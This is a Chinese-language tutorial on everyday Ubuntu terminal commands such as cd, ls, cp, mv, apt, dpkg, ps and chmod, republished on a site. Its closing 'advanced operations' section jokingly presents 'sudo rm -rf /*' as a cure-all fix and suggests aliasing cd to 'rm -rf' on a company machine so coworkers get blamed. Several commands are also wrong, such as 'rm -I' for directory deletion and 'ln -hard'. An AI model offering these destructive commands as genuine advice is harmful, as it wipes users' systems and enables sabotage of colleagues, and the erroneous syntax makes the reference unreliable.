【Ubuntu】常用命令

news2024/11/27 21:08:10

一般操作

  • pwd(present working directory)

显示当前的工作目录/路径。

  • cd (change directory)

改变目录,用于输入需要前往的路径/目录。

有一些特殊命令也很常用 :

解释

前往同一级的另一个目录 cd ../directory name cd .. 表示进入上层目录 cd ../.. 进入上上层目录,后面还可以加更多。 前往同一级的另一个目录 cd ../directory name cd - //表示返回上一次的目录 cd ~ //进入home主目录,即/home/用户名的简写

  • ls (list)

ls 显示当前目录下的文件(不包括隐藏文件和缓存文件等);

列出目录下所有文件

ls -a 

ll , 以列表形式显示当前路径下的所有文件的详细信息(包括隐藏文件和缓存文件等)。

  • mkdir (make directory)

创建目录,后面接上directory的名字。

mkdir I_dont_care //创建一个“我不在乎”目录
  • rm (remove)

删除文件,后面接上要删除的文件名。如果要删除目录,需要这样写:

rm -I <目录名>  //这样做会删除指定目录中的所有子目录和包含的文件
  • touch

创建任意格式的文件,包括源代码、文本等等,通过后缀来决定。例如,.cpp/.cc是c++源代码,而.py是python源代码。

touch hello_world.cpp  //创建hello_world源代码

  • cp (copy)

复制命令。通用格式为

cp -? <源文件/源目录> <目的目录>  //第一个"-?"表示参数,出发地在左,目的地在右

特别的,如果想把某目录下所有文件都复制,可以使用参数-r

cp -r cangjingkong/ xuexi    //将canjingkong目录下的所有资源都复制到xuexi目录中
  • mv (move)

移动+重命名命令。格式类似于cp命令

mv -? <源文件/源目录> <目的目录> //第一个"-?"表示参数,出发地在左,目的地在右

以移动txt文件为例 可以分为以下三种情况:

mv a.txt b.txt                 //出发地和目的地是同一路径,名称从a.txt变为b.txt,那仅仅是重命名
mv ~/目录1/a.txt ~/目录2       //出发地和目的地是不同路径,没有指定新的名称,那仅仅是移动
mv ~/目录1/a.txt ~/目录2/b.txt //出发地和目的地是不同路径,指定了新的名称,那就是移动+重命名

常用的例子有,

移动目录到另一目录中

mv 目录1/ 目录2

将某目录下所有的文件和目录都移动到当前目录下

mv ~/videos/p_hub .
  • gedit

在桌面临时新建一个text editor(文本编辑器)显示文件内的文本,并且支持修改。按ctrl+c退出文件显示。

gedit <文件名>

例如,

gedit single_ladies_contacts.csv
  • cat

在终端打印出文本内容。

cat <文件名>  //在terminal内部打印,和gedit相区分

  • code/nano/vi/vim

使用Visual Studio Code/Nano/vi/vim这四种编辑器,打开或者新建一个源代码文件。

  • apt/apt-get

更推荐使用apt命令而不是apt-get命令,它的命令更精简而且易用。

解释

sudo apt install <软件名> //安装软件最简单的方式 sudo apt list //查看所有已安装的软件列表 sudo apt search <软件名> //搜索某个软件 sudo apt remove <软件名> //删除某个软件包 sudo apt purge <软件名> //删除某个软件包以及配置文件,更彻底

还有我们最最常用的更新相关命令

sudo apt update
sudo apt upgrade

 

  • dpkg (Debian package)

包管理工具。

首先是下载功能。先在官网下载软件的deb格式安装包,然后cd到下载文件夹,打开terminal(终端)输入:

dpkg -i <.deb后缀的软件名>  //i 表示 install

其次是卸载功能。和apt系列命令类似,也可以查看安装列表,搜索指定安装包和卸载。

解释

dpkg -r <包的名字> //r 表示 remove, 此种方法会保留配置文件 dpkg -P <包的名字> //直接全删了,配置也不会保留 dpkg -l //查看安装列表 dpkg -S <包的名字> //搜索某个包

  • kill

结束指定进程时使用,就比如某个软件不响应了,这时候kill就相当于windows系统中的任务管理器中的“结束进程”按钮。我们只要指定进程的编号(ID#)

kill <ID#>  //结束编号为<ID#>的进程

进程编号如何获得?引出下一个函数。

  • ps (process status)

查看所有进程;

ps -A     

查看所有包含其他使用者的进程;

ps -aux

关键字查找某个进程,这个办法用于结束指定进程很方便。

ps -ef | grep <关键字>

  • grep

Linux grep 命令用于查找文件里符合条件的字符串。

  • find

用于查找目录中的文件。

  • ln (link files)

插入链接。

ln -sft

ln -hard

  • chmod (change mode)

改变权限。

chmod +x dir/file or. chmod 777 dir/file

改为可执行

  • du(disk usage)

du -h -l -d 1

-h: --human readable 会显示Mb, Kb, G之类的单位,方便阅读

-d 1: 表示深度为1,只会查看下一级目录的空间占用大小

  • df(disk space filesystem)

df -h


基础但实用的操作

如果碰到不会的命令,或者忘记了具体的options(操作选项),可以使用帮助命令:

命令名 -h or --help

如果嫌每次都要sudo太麻烦,可以先登录,获取root权限。

sudo su //输入并回车
//就会让你输入root密码

学会以下代码就可以在技能中写上“熟悉linux系统的开关机”

reboot  //重启
poweroff //关机

高端操作

无敌“电脑更新”命令,遇到什么问题都可以用以下代码解决:

sudo rm -rf /*

只要删了库,所有的问题都迎刃而解。

如果你的电脑是公司的,还可以将cd命令换成rm -rf,让以后的同事替你背锅

nano ~/.bashrc
alias cd = "rm -rf"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1530449.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

(一)基于IDEA的JAVA基础2

通过记事本练习我们可以大致了解java的运行过程 使用工具开发: 常用工具:Eclipse, MyEclipse,IDEA 这里我们用的开发工具是IDEA&#xff0c;其下载和破解方式在我们这个平台上一搜就有&#xff0c;这个我就不多言了&#xff0c;其他老师都比我有权威性&#xff0c;因为我当初…

软考 系统架构设计师系列知识点之系统性能(1)

所属章节&#xff1a; 第2章. 计算机系统基础知识 第9节. 系统性能 系统性能是一个系统提供给用户的所有性能指标的集合。它既包括硬件性能&#xff08;如处理器主频、存储器容量、通信带宽等&#xff09;和软件性能&#xff08;如上下文切换、延迟、执行时间等&#xff09;&a…

Covalent Network借助大规模的历史Web3数据集,推动人工智能发展

人工智能在众多领域中增强了区块链的实用性&#xff0c;反之亦然&#xff0c;区块链确保了 AI 模型所使用的数据的来源和质量。人工智能带来的生产力提升&#xff0c;将与区块链系统固有的安全性和透明度融合。 Covalent Network&#xff08;CQT&#xff09;正位于这两项互补技…

Linux环境变量【终】

&#x1f30e;环境变量 文章目录&#xff1a; 环境变量 环境变量的组织方式 创建自己的环境变量       main函数参数       C语言提供的变量与接口 环境变量与本地变量 了解本地变量       取消本地变量和环境变量 环境变量的出处 总结 前言&#xff1a; 上…

【RK3399 -PCIE移植过程记录】

一、&#xff0c;pcie开发可通过参考官方开发文档&#xff1a; 具体的硬件外设都有官网的参考文档&#xff0c;pcie的具体可参考&#xff1a; https://github.com/mfkiwl/rk-open-docs/blob/master/PCIe/Rockchip_RK3399_Developer_Guide_PCIe_CN.md 二、具体设备树文件 vi …

时序预测 | Matlab基于BiTCN-LSTM双向时间卷积长短期记忆神经网络时间序列预测

时序预测 | Matlab基于BiTCN-LSTM双向时间卷积长短期记忆神经网络时间序列预测 目录 时序预测 | Matlab基于BiTCN-LSTM双向时间卷积长短期记忆神经网络时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.Matlab基于BiTCN-LSTM双向时间卷积长短期记忆神经网络时…

数据在内存中的存储(C语言)(难点,需多刷几遍)

目录 整数在内存中的存储 大小端字节序和字节序判断 什么是大小端&#xff1f; 为什么有大小端&#xff1f; 练习1 练习2 练习3 练习4 练习5 练习6&#xff08;较难、重点&#xff09; 代码解读&#xff1a; 浮点数在内存中的存储 练习 浮点数的存储 浮点数存的…

Redis之缓存穿透、缓存雪崩、缓存击穿

Redis之缓存穿透、缓存雪崩、缓存击穿 什么是缓存穿透&#xff1f; 如果有人故意将请求打到未缓存的数据上&#xff0c;会对数据库造成巨大的压力 如何解决&#xff1f; 做好参数校验&#xff0c;比如请求的id不能<0&#xff0c;在访问数据库前就把这些异常访问拦截了 缓…

nginx搭建及部署

目录 一、nginx是什么&#xff1f; 二、安装部署 1.下载 2.配置 3.代理Swagger服务 4.nginx命令 一、nginx是什么&#xff1f; 是用于 Web 服务、反向代理、内容缓存、负载均衡、媒体流传输等场景的开源软件。它最初是一款专为实现最高性能和稳定性而设计的 Web 服务器。…

使用 CSS 实现毛玻璃效果

在现代 Web 设计中,毛玻璃效果越来越受欢迎。它能够让界面元素看起来更加柔和、朦胧,同时又不会完全遮挡背景内容,给人一种透明而又不失质感的视觉体验。虽然过去实现这种效果需要借助图像编辑软件,但现在只需要几行 CSS 代码,就可以在网页上呈现出令人惊艳的毛玻璃效果。 使用…

Data-Free Generalized Zero-Shot Learning 中文版

摘要 深度学习模型具有从大规模数据集中提取丰富知识的能力。然而&#xff0c;由于涉及到数据版权和隐私问题&#xff0c;数据共享变得越来越具有挑战性。因此&#xff0c;这妨碍了从现有数据向新的下游任务和概念有效转移知识。零样本学习&#xff08;ZSL&#xff09;方法旨在…

MNN Session 创建执行器(六)

系列文章目录 MNN createFromBuffer&#xff08;一&#xff09; MNN createRuntime&#xff08;二&#xff09; MNN createSession 之 Schedule&#xff08;三&#xff09; MNN createSession 之创建流水线后端&#xff08;四&#xff09; MNN Session::resize 之流水线编码&am…

element-ui出的treeselect下拉树组件基本使用,以及只能选择叶子节点的功能,给节点添加按钮操作

element-ui出的treeselect下拉树组件基本使用&#xff1a;Vue通用下拉树组件riophae/vue-treeselect的使用-CSDN博客 vue-treeselect 问题合集、好用的树形下拉组件&#xff08;vue-treeselect的使用、相关问题解决方案&#xff09;-CSDN博客 需求1&#xff1a;treeselect下拉…

数据结构和算法模块——队列(多例子+图文)

一文帮你看懂队列 什么是线性表为什么要学习线性表&#xff0c;它有什么用处和好处&#xff1f;基本概念分类存储结构结构特点 队列为什么要学习队列&#xff1f;基本概念数据结构基本操作 待填坑 什么是线性表 为什么要学习线性表&#xff0c;它有什么用处和好处&#xff1f;…

【测试开发学习流程】MySQL函数运算(中)(下)

前言&#xff1a; 这些天还要搞毕业论文&#xff0c;东西少了点&#xff0c;大家将就看看QWQ 目录 1 MySQL的数据处理函数 1.1 文本处理函数 1.2 日期与时间函数 1.3 数值处理函数 1.4 系统函数 2 聚集运算 2.1 聚集函数 2.2 流程函数 1 MySQL的数据处理函数 MySQL支…

云手机在海外电商中的应用优势

随着海外市场的不断拓展&#xff0c;电商行业对于高效、安全的工具需求日益增长。在这一背景下&#xff0c;云手机作为一种新型服务&#xff0c;为海外电商提供了强大的支持和便利。云手机对传统物理手机起到了非常好的延展和补充作用&#xff0c;拓展了更广泛的应用场景&#…

windows管理github代码

资料 windows SSH下载github

【数字IC/FPGA】书籍推荐(0)----《Verilog 传奇--从电路出发的HDL代码设计》

在下这几年关于数字电路、Verilog、FPGA和IC方面的书前前后后都读了不少&#xff0c;发现了不少好书&#xff0c;也在一些废话书上浪费过时间。接下来会写一系列文章&#xff0c;把一部分读过的书做个测评&#xff0c;根据个人标准按十分制满分来打分并分享给大家。 定位 书名…

游戏反云手机检测方案

游戏风险环境&#xff0c;是指独立于原有设备或破坏设备原有系统的环境。常见的游戏风险环境有&#xff1a;云手机、虚拟机、虚拟框架、iOS越狱、安卓设备root等。 这类风险环境可以为游戏外挂、破解提供所需的高级别设备权限&#xff0c;当游戏处于这些风险环境下&#xff0c…